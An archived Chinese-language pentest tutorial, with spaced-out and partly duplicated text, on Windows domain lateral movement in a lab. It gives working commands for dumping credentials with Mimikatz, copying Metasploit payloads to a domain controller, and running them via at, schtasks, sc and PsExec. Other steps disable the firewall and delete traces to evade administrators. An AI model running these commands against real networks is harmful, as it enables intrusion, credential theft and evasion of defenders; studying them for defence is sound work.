搜索

[16014] 2020-10-26_内网渗透测试：内网横向移动基础总结

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-10-26_内网渗透测试：内网横向移动基础总结 内 网 渗 透 测 试 ： 内 网 横 向 移 动 基 础 总 结 W H O A M I   F r e e B u f   2 0 2 0 - 1 0 - 2 6 横 向 移 动 横 向 移 动 在 内 网 渗 透 中 ， 当 攻 击 者 获 取 到 内 网 某 台 机 器 的 控 制 权 后 ， 会 以 被 攻 陷 的 主 机 为 跳 板 ， 通 过 收 集 域 内 凭 证 等 各 种 方 法 ， 访 问 域 内 其 他 机 器 ， 进 一 步 扩 大 资 产 范 围 。 通 过 此 类 手 段 ， 攻 击 者 最 终 可 能 获 得 域 控 制 器 的 访 问 权 限 ， 甚 至 完 全 控 制 基 于 W i n d o w s 操 作 系 统 的 整 个 内 网 环 境 ， 控 制 域 环 境 下 的 全 部 机 器 。 在 这 篇 文 章 中 ， 我 们 来 讲 解 一 下 横 向 移 动 的 思 路 与 攻 击 手 法 。 由 于 最 近 开 学 了 有 很 多 很 多 的 事 ， 所 以 一 直 没 有 时 间 更 新 ， 文 章 可 能 略 显 仓 促 ， 不 足 之 处 还 请 多 多 指 教 。 本 文 大 多 是 我 最 近 的 学 习 总 结 ， 专 为 想 我 一 样 正 在 入 门 的 小 白 准 备 ， 文 章 内 容 基 础 且 丰 富 ， 对 于 下 面 所 讲 的 每 种 攻 击 手 法 的 具 体 详 情 ， 还 请 阅 读 我 的 相 关 文 章 。 大 佬 路 过 还 望 多 多 点 本 文 大 多 是 我 最 近 的 学 习 总 结 ， 专 为 想 我 一 样 正 在 入 门 的 小 白 准 备 ， 文 章 内 容 基 础 且 丰 富 ， 对 于 下 面 所 讲 的 每 种 攻 击 手 法 的 具 体 详 情 ， 还 请 阅 读 我 的 相 关 文 章 。 大 佬 路 过 还 望 多 多 点 评 ！ 评 ！ 在 接 下 来 的 前 几 个 实 验 中 ， 我 们 以 下 面 这 个 内 网 环 境 作 为 测 试 环 境 ： 在 接 下 来 的 前 几 个 实 验 中 ， 我 们 以 下 面 这 个 内 网 环 境 作 为 测 试 环 境 ： W i n d o w s   7 为 跳 板 机 用 户 名 ： d o u s e r 密 码 ： D o t e s t 1 2 3
W i n d o w s   s e r v e r   2 0 0 8 为 域 控 （ 主 机 名 ： W I N - E N S 2 V R 5 T R 3 N ） 用 户 名 ： a d m i n i s t r a t o r 密 码 ： L i u 7 8 9 6 3 攻 击 者 已 经 获 得 了 W i n d o w s 7 的 权 限 ， 想 要 以 W i n d o w s 7 作 为 跳 板 机 进 一 步 渗 透 内 网 的 W i n d o w s   s e r v e r   2 0 0 8 ， 并 且 攻 击 者 已 经 在 跳 板 机 上 面 通 过 s o c k s 代 理 等 技 术 使 自 己 可 以 访 问 到 内 网 的 W i n d o w s s e r v e r   2 0 0 8 。 接 下 来 ， 攻 击 者 将 以 各 种 横 向 移 动 的 方 法 尝 试 获 得 内 网 W i n d o w s   s e r v e r   2 0 0 8 的 控 制 权 。 获 取 域 内 单 机 密 码 与 获 取 域 内 单 机 密 码 与 H a s h 在 内 网 渗 透 中 ， 很 多 横 向 移 动 的 方 法 都 需 要 攻 击 者 先 获 取 域 用 户 的 密 码 或 者 H a s h 值 才 能 进 行 ， 比 如 哈 希 传 递 攻 击 、 各 种 票 据 传 递 ， 还 有 黄 金 票 据 维 持 权 限 等 等 。 P w D u m p 7 工 具 工 具 P w d u m p 7 可 以 在 C M D 下 提 取 出 系 统 中 的 用 户 的 密 码 h a s h   ( 包 括 L M 和 N T L M ) ， 需 要 系 统 权 限 ， “ 骨 灰 ” 级 黑 客 玩 家 可 能 听 说 过 这 个 玩 具 。 通 过 P w d u m p 7 提 取 出 的 H A S H ， 可 以 用 o p h c r a c k 等 工 具 破 出 明 文 密 码 ， 对 进 一 步 渗 透 是 有 很 大 帮 助 的 。 M i m i k a t z 工 具 工 具 M i m i k a t z 是 由 法 国 人 B e n j a m i n 开 发 的 一 款 功 能 强 大 的 轻 量 级 调 试 工 具 ， 因 功 能 强 大 ， 能 够 直 接 读 取 W i n d o w s 操 作 系 统 的 明 文 密 码 ， 因 而 闻 名 于 渗 透 测 试 领 域 。 通 过 它 你 可 以 提 升 进 程 权 限 注 入 进 程 读 取 进 程 内 存 ， 当 然 他 最 大 的 亮 点 就 是 他 可 以 直 接 从   l s a s s . e x e   进 程 中 获 取 当 前 登 录 系 统 用 户 名 的 密 码 。 当 前 登 录 系 统 用 户 名 的 密 码 。 M i m i k a t z 读 取 明 文 密 码 和 h a s h 也 时 最 常 用 的 方 法 。 需 要 管 理 员 权 限 。 此 部 分 的 更 多 详 情 请 看 我 的 文 章 《 内 网 横 向 移 动 研 究 ： 获 取 域 内 单 机 密 码 与 H a s h 》 利 用 利 用 W i n d o w s 远 程 连 接 命 令 进 行 横 向 渗 透 远 程 连 接 命 令 进 行 横 向 渗 透 在 渗 透 测 试 中 ， 拿 到 目 标 机 器 的 用 户 明 文 密 码 或 者 N T L M   H a s h 后 ， 可 以 用 W i n d o w s 自 带 的 方 法 对 远 程 目 标 系 统 进 行 命 令 行 下 的 连 接 操 作 ， 连 接 远 程 主 机 并 执 行 相 关 命 令 。 也 可 以 通 过 P T H 的 方 法 ， 将 散 列 值 或 明 文 密 码 传 递 到 目 标 机 器 中 进 行 验 证 。 建 立 建 立 I P C 连 接 连 接 I P C $ ( I n t e r n e t   P r o c e s s   C o n n e c t i o n )   是 N T 2 0 0 0 的 一 项 新 功 能 ， 它 有 一 个 特 点 ， 即 在 同 一 时 间 内 ， 两 个 I P 之 间 只 允 许 建 立 一 个 连 接 。 I P C   可 以 通 过 验 证 用 户 名 和 密 码 获 得 相 应 的 权 限 ， 通 常 在 远 程 管 理 计 算 机 和 查 看 计 算 机 的 共 享 资 源 时 使 用 。 通 过 i p c $ ， 可 以 与 目 标 机 器 建 立 连 接 。 利 用 这 个 连 接 ， 不 仅 可 以 访 问 目 标 机 器 中 的 文 件 ， 进 行 上 传 、 下 载 等 操 作 ， 还 可 以 在 目 标 机 器 上 运 行 其 他 命 令 ， 以 获 取 目 标 机 器 的 目 录 结 构 、 用 户 列 表 等 信 息 。 通 过 执 行 以 下 命 令 ， 我 们 可 以 让 w i n 7 与 D C 建 立 I P C 连 接 如 上 图 ， 我 们 成 功 让 w i n 7 与 D C 建 立 I P C 连 接 ， 之 后 我 们 便 可 以 通 过 w i n 7 访 问 目 标 机 器 D C 中 的 文 件 ， 进 行 上 传 、 下 载 等 操 作 ， 还 可 以 在 目 标 机 器 上 运 行 其 他 命 令 了 。 p r i v i l e g e : : d e b u g             / /   提 升 至 d e b u g 权 限 s e k u r l s a : : l o g o n p a s s w o r d s               / /   抓 取 密 码 n e t   u s e   < D C 的 I P > i p c $   " p a s s w o r d "   / u s e r : " u s e r n a m e " n e t   u s e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 i p c $   " L i u 7 8 9 6 3 "   / u s e r : " a d m i n i s t r a t o r " n e t   u s e   / /   查 看 当 前 主 机 所 建 立 的 连 接
如 ， 我 们 列 出 D C 上 C 盘 的 目 录 ： 再 如 将 文 件 复 制 到 目 标 主 机 D C 的 C 盘 上 面 去 ： （ 在 实 战 中 ， 我 们 可 以 将 木 马 程 序 复 制 到 目 标 主 机 上 去 ） 在 使 用 n e t   u s e 命 令 与 远 程 主 机 建 立 i p c $ 连 接 后 ， 还 可 以 使 用 t a s k l i s t 命 令 的 / S 、 / U 、 / P 参 数 列 出 目 标 远 程 主 机 上 运 行 的 进 程 （ 可 能 有 点 慢 ） / s ： 指 要 查 看 的 远 程 系 统 的 I P 地 址 / u ： 指 定 使 用 哪 个 用 户 执 行 这 个 远 程 命 令 / p ： 指 定 该 用 户 的 密 码 建 立 建 立   i p c $   连 接 的 条 件 ： 连 接 的 条 件 ： 目 标 主 机 开 启 了 1 3 9 和 4 4 5 端 口 目 标 主 机 管 理 员 开 启 了 i p c $ 默 认 共 享 在 使 用 完 i p c $ ， 命 令 如 下 ： 建 立 其 他 共 享 连 接 建 立 其 他 共 享 连 接 除 了 I P C 链 接 ， 我 们 还 可 以 与 目 标 主 机 的 其 他 共 享 建 立 连 接 ， 比 如 建 立 c $ 盘 共 享 连 接 ： d i r   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $ c o p y   C : U s e r s d o u s e r D e s k t o p w h o a m i . t x t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $ t a s k l i s t   / S   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / U   a d m i n i s t r a t o r   / P   l i u 7 8 9 6 3 n e t   u s e   I P   / d e l   / y n e t   u s e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $   " L i u 7 8 9 6 3 "   / u s e r : " a d m i n i s t r a t o r "
列 出 D C 上 C 盘 的 目 录 ： 但 一 般 情 况 下 ， 我 们 会 建 立 I P C 连 接 ， 因 为 利 用 这 个 连 接 ， 不 仅 可 以 访 问 目 标 机 器 中 的 文 件 ， 进 行 上 传 、 下 载 等 操 作 ， 还 可 以 在 目 标 机 器 上 运 行 其 他 命 令 ， 以 获 取 目 标 机 器 的 目 录 结 构 、 用 户 列 表 等 信 息 。 利 用 利 用 W i n d o w s 计 划 任 务 进 行 横 向 渗 透 计 划 任 务 进 行 横 向 渗 透 利 用 利 用   a t   命 令 命 令 a t   命 令 是 W i n d o w s 自 带 的 用 于 创 建 计 划 任 务 的 命 令 ， 但 是 他 主 要 工 作 在 W i n d o w s   S e r v e r   2 0 0 8 之 前 版 本 的 操 作 系 统 中 。 我 们 可 以 通 过 a t 命 令 通 过 跳 板 机 在 目 标 主 机 D C 上 创 建 计 划 任 务 ， 让 计 算 机 在 指 定 的 时 间 执 行 木 马 程 序 ， 从 而 获 得 对 内 网 目 标 主 机 的 控 制 。 操 作 如 下 ： 1 .   先 与 目 标 主 机 建 立 i p c 连 接 。 2 .   再 使 用 n e t   t i m e 命 令 确 定 目 标 主 机 D C 的 当 前 时 间 ： 3 .   然 后 使 用 c o p y 命 令 远 程 操 作 ， 将 m e t a s p l o i t 生 成 的 p a y l o a d 文 件 复 制 到 目 标 系 统 C 盘 中 ： 4 .   接 着 使 用 a t 命 令 创 建 计 划 任 务 ， 让 目 标 主 机 D C 在 指 定 的 时 间 运 行 m e t a s p l o i t 木 马 程 序 ： 如 上 图 ， 成 功 在 目 标 主 机 上 创 建 了 一 个 I D 为 1 ， 在 1 8 : 5 3 : 0 0 执 行 s h e l l . e x e 程 序 的 计 划 任 务 等 到 时 间 到 达 1 8 : 5 3 : 0 0 时 ， 目 标 主 机 上 的 木 马 程 序 s h e l l . e x e 执 行 ， 攻 击 者 主 机 上 面 的 m s f c o n s o l e 上 成 功 获 得 目 标 主 机 的 m e t e r p r e t e r ： n e t   t i m e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c o p y   s h e l l . e x e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $ a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1 8 : 5 3 : 0 0   c : s h e l l . e x e
5 .   最 后 ， 我 们 使 用 完 计 划 任 务 后 ， 还 需 要 将 该 计 划 任 务 删 除 ， 以 免 被 网 管 理 员 发 现 ： 除 了 就 像 上 面 那 样 利 用 计 划 任 务 执 行 木 马 程 序 获 得 主 机 权 限 外 ， 我 们 还 可 以 利 用 a t 计 划 任 务 直 接 执 行 系 统 命 令 ， 但 由 于 不 会 回 显 ， 所 以 我 们 要 将 执 行 的 结 果 写 入 到 一 个 文 本 文 件 中 ， 然 后 远 程 读 取 ： 然 后 用 t y p e 命 令 远 程 读 取 该 文 本 文 件 ： 如 上 图 所 示 ， 命 令 执 行 成 功 。 利 用 利 用   s c h t a s k s   命 令 命 令 上 面 我 们 讲 了 用 a t 命 令 创 建 计 划 任 务 ， 但 是 该 命 令 已 经 被 W i n d o w s   V i s t a 、 W i n d o w s   S e r v e r   2 0 0 8 及 之 后 版 本 的 操 作 系 统 废 弃 了 ， 代 替 他 的 是 s c h t a s k s 命 命 令 。 s c h t a s k s 命 令 比 a t 命 令 更 为 灵 活 、 自 由 。 下 面 来 演 示 s c h t a s k s 命 令 的 使 用 ， 于 是 ， 攻 击 者 开 始 使 用 s c h t a s k s 命 令 来 代 替 a t 命 令 。 利 用 s c h t a s k s 命 令 创 建 计 划 任 务 进 行 横 向 移 动 的 操 作 流 程 如 下 ： 1 .   先 与 目 标 主 机 建 立 i p c 连 接 。 2 .   然 后 使 用 c o p y 命 令 远 程 操 作 ， 将 m e t a s p l o i t 生 成 的 p a y l o a d 文 件 s h e l l . e x e 复 制 到 目 标 系 统 C 盘 中 。 3 .   在 目 标 主 机 D C 上 创 建 一 个 名 称 为 “ b a c k d o o r ” 的 计 划 任 务 。 该 计 划 任 务 每 分 钟 启 动 一 次 ， 启 动 程 序 为 我 们 之 前 到 C 盘 下 的 s h e l l . e x e ， 启 动 权 限 为 s y s t e m 。 命 令 如 下 ： 在 没 有 建 立 i p c 连 接 时 ， 要 加 上 / u 和 / p 参 数 分 别 设 置 用 户 名 和 密 码 。 但 也 有 些 时 候 ， 由 于 当 前 权 限 或 组 策 略 设 置 等 原 因 ， 该 s c h t a s k s 方 法 远 程 创 建 计 划 任 务 可 能 会 报 错 拒 绝 访 问 ： 遇 到 这 种 情 况 ， 我 们 可 以 加 上 / u 和 / p 参 数 分 别 设 置 高 权 限 用 户 名 和 密 码 ， 如 下 ： 这 样 就 行 了 ： a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1   / d e l e t e / /   1 为 计 划 任 务 的 I D a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1 7 : 0 5 : 0 0   c m d . e x e   / c   " i p c o n f i g   >   C : U s e r s A d m i n i s t r a t o r r e s u l t . t x t " a t   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   1 7 : 0 5 : 0 0   c m d . e x e   / c   " < 命 令 > "   >   目 录 r e s u l t . t x t t y p e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 c $ U s e r s A d m i n i s t r a t o r r e s u l t . t x t s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / t n   b a c k d o o r   / s c   m i n u t e   / m o   1     / t r   c : s h e l l . e x e   / r u   s y s t e m   / f s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / u   a d m i n i s t r a t o r   / p   L i u 7 8 9 6 3   / t n   b a c k d o o r   / s c   m i n u t e   / m o   1   / t r   c : s h e l l . e x e   / r u   s y s t e m   / f
4 .   然 后 执 行 如 下 命 令 立 即 运 行 该 计 划 任 务 （ 也 可 以 自 己 等 一 分 钟 ） ： 计 划 任 务 成 功 执 行 后 ， 攻 击 者 m s f c o n s o l e 上 面 即 可 得 到 目 标 主 机 D C 的 m e t e r p r e t e r ： 5 .   计 划 任 务 成 功 运 行 后 ， 执 行 如 下 命 令 强 制 删 除 该 计 划 任 务 ： 除 了 就 像 上 面 那 样 利 用 计 划 任 务 执 行 木 马 程 序 获 得 主 机 权 限 外 ， 我 们 还 可 以 利 用 s c h t a s k s 计 划 任 务 直 接 执 行 系 统 命 令 ， 但 由 于 不 会 回 显 ， 所 以 我 们 要 将 执 行 的 结 果 写 入 到 一 个 文 本 文 件 中 ， 然 后 利 用 t y p e 命 令 远 程 读 取 ： 立 即 启 动 该 计 划 任 务 ： 最 后 利 用 t y p e 命 令 远 程 查 看 目 标 主 机 上 的 r e s u l t . t x t 文 件 即 可 ， 如 下 图 所 示 ， 命 令 执 行 成 功 ： 注 意 ： 在 使 用 注 意 ： 在 使 用 s c h t a s k s 命 令 时 ， 会 在 系 统 中 留 下 日 志 文 件 命 令 时 ， 会 在 系 统 中 留 下 日 志 文 件 C : W i n d o w s T a s k s S c h e d L g U . t x t 。 。 创 建 创 建 W i n d o w s 服 务 来 进 行 横 向 渗 透 服 务 来 进 行 横 向 渗 透 使 用 条 件 ： 当 前 跳 板 机 用 户 具 有 管 理 员 权 限 ( 因 为 要 创 建 服 务 ) 。 与 目 标 机 器 已 经 建 立 i p c 连 接 利 用 利 用   s c   命 令 命 令 在 w i n d o w s 系 统 命 令 提 示 符 中 ， 有 一 个 S C 工 具 命 令 集 。 该 工 具 集 主 要 用 来 对 操 作 系 统 服 务 进 行 管 理 ， 该 命 令 是 由 s e r v i c e 一 词 ， 简 化 而 来 的 。 我 们 可 以 用 s c 对 目 标 主 机 远 程 创 建 服 务 来 进 行 横 向 渗 透 使 用 s c 命 令 远 程 W i n d o w s 服 务 操 作 需 先 建 立 I P C $ 连 接 ， 否 则 在 执 行 时 会 返 回 拒 绝 访 问 。 流 程 基 本 如 下 ： 1 .   先 让 跳 板 机 与 内 网 目 标 机 D C 建 立 i p c 连 接 。 2 .   然 后 让 跳 板 机 使 用 c o p y 命 令 远 程 操 作 ， 将 m e t a s p l o i t 生 成 的 p a y l o a d 文 件 b i n d . e x e 复 制 到 目 标 主 机 D C 系 统 C 盘 中 。 3 .   再 在 目 标 主 机 D C 上 创 建 一 个 名 称 为 “ b a c k d o o r ” 的 服 务 。 命 令 如 下 ： 注 意 这 里 的 格 式 ， “ = ” 后 面 是 必 须 空 一 格 的 ， 否 则 会 出 现 错 误 。 4 .   立 即 启 动 该 服 务 ： s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / i   / t n   b a c k d o o r / /   i ： 忽 略 任 何 限 制 立 即 运 行 任 务 s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / i   / t n   b a c k d o o r   / u   a d m i n i s t r a t o r   / p   L i u 7 8 9 6 3       / /   遇 到 上 面 所 说 的 报 错 时 执 行 加 上 / u 和 / p 参 数 分 别 设 置 高 权 限 用 户 名 和 密 码 s c h t a s k s   / d e l e t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / t n   " b a c k d o o r "   / f s c h t a s k s   / c r e a t e   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / t n   t e s t   / s c   m i n u t e   / m o   1   / t r   " C : W i n d o w s S y s t e m 3 2 c m d . e x e   / c   ' w h o a m i   >   C : U s e r s A d m i n i s t r a t o r r e s u l t . t x t ' "   / r u   s y s t e m   / f s c h t a s k s   / r u n   / s   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / i   / t n   t e s t s c   [ 主 机 名 / I P ]   c r e a t e   [ s e r v i c e n a m e ]   b i n p a t h =   " [ p a t h ] "       # 创 建 计 划 任 务 启 动 程 序 s c   W I N - E N S 2 V R 5 T R 3 N   c r e a t e   b i n d s h e l l   b i n p a t h =   " c : b i n d . e x e " s c   W I N - E N S 2 V R 5 T R 3 N   s t a r t   b i n d s h e l l
执 行 后 ， m s f 成 功 上 线 域 控 ： 5 .   使 用 完 后 删 除 刚 才 创 建 的 服 务 我 们 还 可 以 通 过 设 置 服 务 来 关 闭 防 火 墙 ： 利 用 利 用 P s E x e c 工 具 进 行 横 向 渗 透 工 具 进 行 横 向 渗 透 测 试 环 境 如 下 ： 如 图 中 ， 右 侧 是 一 个 内 网 环 境 ， 域 名 为 g o d . o r g ， 有 三 台 机 器 ： W i n d o w s   7 （ 跳 板 机 ） 、 W i n d o w s   S e r v e r   2 0 0 8 （ D C ） 、 W i n d o w s   S e r v e r   2 0 0 3 。 W i n d o w s   S e r v e r   2 0 0 8 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 为 域 控 制 器 （ 机 器 名 为 O W A ） ， 用 户 名 为 l i u k a i f e n g 0 1 ， 密 码 为 L i u f u p e n g 1 2 3 。 假 设 我 们 攻 击 者 已 经 获 得 了 W i n d o w s   7 （ 跳 板 机 ） 域 成 员 主 机 的 控 制 权 ， 需 要 进 一 步 横 向 渗 透 去 拿 下 内 网 的 其 他 机 器 域 控 。 利 用 利 用 P s E x e c . e x e 工 具 工 具 下 载 地 址 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p s e x e c p s e x e c   是   w i n d o w s   下 非 常 好 的 一 款 远 程 命 令 行 工 具 。 p s e x e c 的 使 用 不 需 要 对 方 主 机 开 方 3 3 8 9 端 口 ， 只 需 要 对 方 开 启 a d m i n $ 共 享   ( 该 共 享 默 认 开 启 ) 。 但 是 ， 假 如 目 标 主 机 开 启 了 防 火 墙 ， p s e x e c 也 是 不 能 使 用 的 ， 会 提 示 找 不 到 网 络 路 径 。 由 于 P s E x e c 是 W i n d o w s 提 供 的 工 具 ， 所 以 杀 毒 软 件 将 其 列 在 白 名 单 中 。 P s E x e c 的 基 本 原 理 ： 1 .   通 过 i p c $ 连 接 ， 释 放 二 进 制 文 件 p s e x e c s v c . e x e 到 目 标 2 .   通 过 服 务 管 理 S C M a n a g e r 远 程 创 建 一 个 p s e x e c 服 务 ， 并 启 动 服 务 3 .   客 户 端 连 接 执 行 命 令 ， 服 务 端 通 过 服 务 启 动 相 应 的 程 序 执 行 命 令 并 回 显 数 据 4 .   运 行 结 束 后 删 除 服 务 p s e x e c 的 使 用 前 提 ： 的 使 用 前 提 ： 对 方 主 机 开 启 了   a d m i n $   共 享 ， 如 果 关 闭 了 a d m i n $ 共 享 ， 会 提 示 ： 找 不 到 网 络 名 对 方 未 开 启 防 火 墙 如 果 是 工 作 组 环 境 ， 则 必 须 使 用 a d m i n i s t r a t o r 用 户 连 接 （ 因 为 要 在 目 标 主 机 上 面 创 建 并 启 动 服 务 ） ， 使 用 其 他 账 号 ( 包 括 管 理 员 组 中 的 非 a d m i n i s t r a t o r 用 户 ) 登 录 都 会 提 示 访 问 拒 绝 访 问 。 s c   W I N - E N S 2 V R 5 T R 3 N   s t a r t   b i n d s h e l l s c   [ h o s t ]   d e l e t e   [ s e r v i c e n a m e ]       # 删 除 服 务 s c   W I N - E N S 2 V R 5 T R 3 N   c r e a t e   u n a b l e f i r e w a l l   b i n p a t h =   " n e t s h   a d v f i r e w a l l   s e t   a l l p r o f i l e s   s t a t e   o f f " s c   W I N - E N S 2 V R 5 T R 3 N   s t a r t   u n a b l e f i r e w a l l
如 果 是 域 环 境 ， 即 可 用 普 通 域 用 户 连 接 也 可 以 用 域 管 理 员 用 户 连 接 。 连 接 普 通 域 主 机 可 以 用 普 通 域 用 户 ， 连 接 域 控 只 能 用 域 管 理 员 账 户 。 基 本 操 作 命 令 如 下 ： - a c c e p t e u l a ： 第 一 次 运 行 p s e x e c 会 弹 出 确 认 框 ， 使 用 该 参 数 就 不 会 弹 出 确 认 框 - u ： 用 户 名 - p ： 密 码 - s ： 以 s y s t e m 权 限 运 行 运 程 进 程 ， 获 得 一 个 s y s t e m 权 限 的 交 互 式 s h e l l 。 如 果 不 使 用 该 参 数 ， 会 获 得 一 个 连 接 所 用 用 户 权 限 的 s h e l l 执 行 如 上 命 令 后 ， 我 们 就 可 以 获 的 目 标 主 机 D C 的 S y s t e m 权 限 的 S h e l l ： 这 里 ， 如 果 我 们 提 前 与 目 标 机 建 立 了 基 于 a d m i n i s t r a t o r 用 户 的 i p c 连 接 ， 那 么 我 们 可 以 不 用 指 定 用 户 名 和 密 码 ， 直 接 连 接 即 可 ： 我 们 不 仅 可 以 用 P s E x e c 得 到 目 标 主 机 的 s h e l l ， 也 可 以 直 接 执 行 命 令 ： M e t a s p l o i t 下 的 下 的 P s E x e c 模 块 模 块 在 m e t a s p l o i t 框 架 下 ， 有 以 下 这 几 个 p s e x e c 模 块 ： 常 用 的 模 块 有 ： 使 用 e x p l o i t / w i n d o w s / s m b / p s e x e c _ p s h ， 该 模 块 生 成 的 p a y l o a d 主 要 是 有 p o w e r s h e l l 实 现 的 。 p o w e r s h e l l 作 为 W i n d o w s 自 带 的 脚 本 运 行 环 境 ， 免 杀 效 果 比 由 e x p l o i t / w i n d o w s / s m b / p s e x e c 生 成 的 e x e 版 p a y l o a d 好 。 但 是 ， 因 为 W i n d o w s   7 、 W i n d o w s   S e r v e r   2 0 0 8 及 以 上 版 本 的 操 作 系 统 才 默 认 有 p o w e r s h e l l ， 所 以 如 果 遇 到 默 认 不 含 p o w e r s h e l l 的 W i n d o w s   X P 或 W i n d o w s   S e r v e r   2 0 0 3 ， 就 要 使 用 由 e x p l o i t / w i n d o w s / s m b / p s e x e c 生 成 的 e x e 版 本 的 p a y l o a d 。 下 面 演 示 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 的 使 用 过 程 ： P s E x e c . e x e   - a c c e p t e u l a   1 9 2 . 1 6 8 . 5 2 . 1 3 8   - u   g o d l i u k a i f e n g 0 1   - p   L i u f u p e n g 1 2 3   - s   c m d . e x e P s E x e c . e x e   - a c c e p t e u l a   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   c m d . e x e P s E x e c . e x e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   < C o m m a n d > P s E x e c . e x e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   c m d . e x e   / c   " i p c o n f i g " P s E x e c . e x e   1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   - u   d e m o a d m i n i s t r a t o r   - p   L i u 7 8 9 6 3   c m d . e x e   / c   " i p c o n f i g " / /   用 目 标 系 统 的 c m d . e x e 的 / c 选 项 在 目 标 主 机 上 执 行 命 令 ， 并 得 到 回 显 （ 与 前 面 的 a t 命 令 相 似 ） e x p l o i t / w i n d o w s / s m b / p s e x e c                       / /   用 p s e x e c 执 行 系 统 命 令 , 与 p s e x e c . e x e 相 同 e x p l o i t / w i n d o w s / s m b / p s e x e c _ p s h               / /   使 用 p o w e r s h e l l 作 为 p a y l o a d ( P s E x e c 的 P o w e r S h e l l 版 本 ) a u x i l i a r y / a d m i n s e t   r h o s t s   1 9 2 . 1 6 8 . 5 2 . 1 3 8 s e t   S M B D o m a i n   g o d s e t   S M B U s e r   L i u k a i f e n g 0 1 s e t   S M B P a s s   L i u f u p e n g 1 2 3               / /   设 置 明 文 密 码 或 设 置 哈 希 来 进 行 P T H r u n
其 他 的 那 几 个 模 块 的 使 用 方 法 与 e x p l o i t / w i n d o w s / s m b / p s e x e c 相 同 。 这 些 模 块 不 仅 可 以 指 定 用 户 明 文 密 码 ， 还 可 以 直 接 指 定 哈 希 值 来 进 行 哈 希 传 递 攻 击 。 注 意 ： 在 使 用 注 意 ： 在 使 用 p s e x e c 执 行 远 程 命 令 时 ， 会 在 目 标 系 统 中 创 建 一 个 执 行 远 程 命 令 时 ， 会 在 目 标 系 统 中 创 建 一 个 p s e x e c 服 务 。 命 令 执 行 后 ， 服 务 。 命 令 执 行 后 ， p s e x e c 服 务 将 会 被 自 动 删 除 。 由 于 创 建 或 删 除 服 务 时 会 产 生 大 量 的 日 志 ， 所 以 会 在 攻 击 溯 源 服 务 将 会 被 自 动 删 除 。 由 于 创 建 或 删 除 服 务 时 会 产 生 大 量 的 日 志 ， 所 以 会 在 攻 击 溯 源 时 通 过 日 志 反 推 攻 击 流 程 。 时 通 过 日 志 反 推 攻 击 流 程 。 利 用 利 用 W M I 来 横 向 渗 透 来 横 向 渗 透 W M I 的 全 名 为 “ W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n ” 。 从 W i n d o w s   9 8 开 始 ， W i n d o w s 操 作 系 统 都 支 持 W M I 。 W M I 是 由 一 系 列 工 具 集 组 成 的 ， 可 以 通 过 / n o d e 选 项 使 用 端 口 1 3 5 上 的 远 程 过 程 调 用 ( R P C ) 进 行 通 信 以 进 行 远 程 访 问 ， 它 允 许 系 统 管 理 员 远 程 执 行 自 动 化 管 理 任 务 ， 例 如 远 程 启 动 服 务 或 执 行 命 令 。 “ 自 从 P s E x e c 在 内 网 中 被 严 格 监 控 后 ， 越 来 越 多 的 反 病 毒 厂 商 将 P s E x e c 加 入 了 黑 名 单 ， 于 是 攻 击 者 逐 渐 开 始 使 用 W M I 进 行 横 向 移 动 。 通 过 渗 透 测 试 发 现 ， 在 使 用 w m i e x e c 进 行 横 向 移 动 时 ， W i n d o w s 操 作 系 统 默 认 不 会 将 W M I 的 操 作 记 录 在 日 志 中 ， 同 时 攻 击 脚 本 无 需 写 入 到 磁 盘 ， 具 有 极 高 的 隐 蔽 性 。 因 为 在 这 个 过 程 中 不 会 产 生 日 志 ， 所 以 ， 对 网 络 管 理 员 来 说 增 加 了 攻 击 溯 源 的 成 本 。 而 对 攻 击 者 来 说 ， 其 恶 意 行 为 被 发 现 的 可 能 性 有 所 降 低 、 隐 蔽 性 有 所 提 高 。 由 此 ， 越 来 越 多 的 A P T 开 始 使 用 W M I 进 行 攻 击 ， 利 用 W M I 可 以 进 行 信 息 收 集 、 探 测 、 反 病 毒 、 虚 拟 机 检 测 、 命 令 执 行 、 权 限 持 久 化 等 操 作 。 ” 注 意 ： 使 用 W M I C 连 接 远 程 主 机 ， 需 要 目 标 主 机 开 放 1 3 5 和 4 4 5 端 口 。 ( 1 3 5   端 是   W M I C   默 认 的 管 理 端 ， 而   w i m c e x e c   使 4 4 5 端 传 回 显 ) 远 程 桌 面 连 接 远 程 桌 面 连 接 用 W M I C 命 令 可 以 开 启 远 程 计 算 机 的 远 程 桌 面 连 接 ： 查 询 远 程 进 程 信 息 查 询 远 程 进 程 信 息 远 程 创 建 进 程 远 程 创 建 进 程 如 下 ， 以 a d m i n i s t r a t o r 用 户 连 接 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 ( D C ) ， 并 在 机 器 上 创 建 一 个 进 程 执 行 i p c o n f i g 命 令 ， 将 结 果 写 入 C : r e s u l t . t x t 文 本 文 件 中 ： （ 由 于 w m i c 执 行 远 程 命 令 没 有 回 显 ， 所 以 要 将 结 果 写 入 到 t x t 中 ） 这 里 如 果 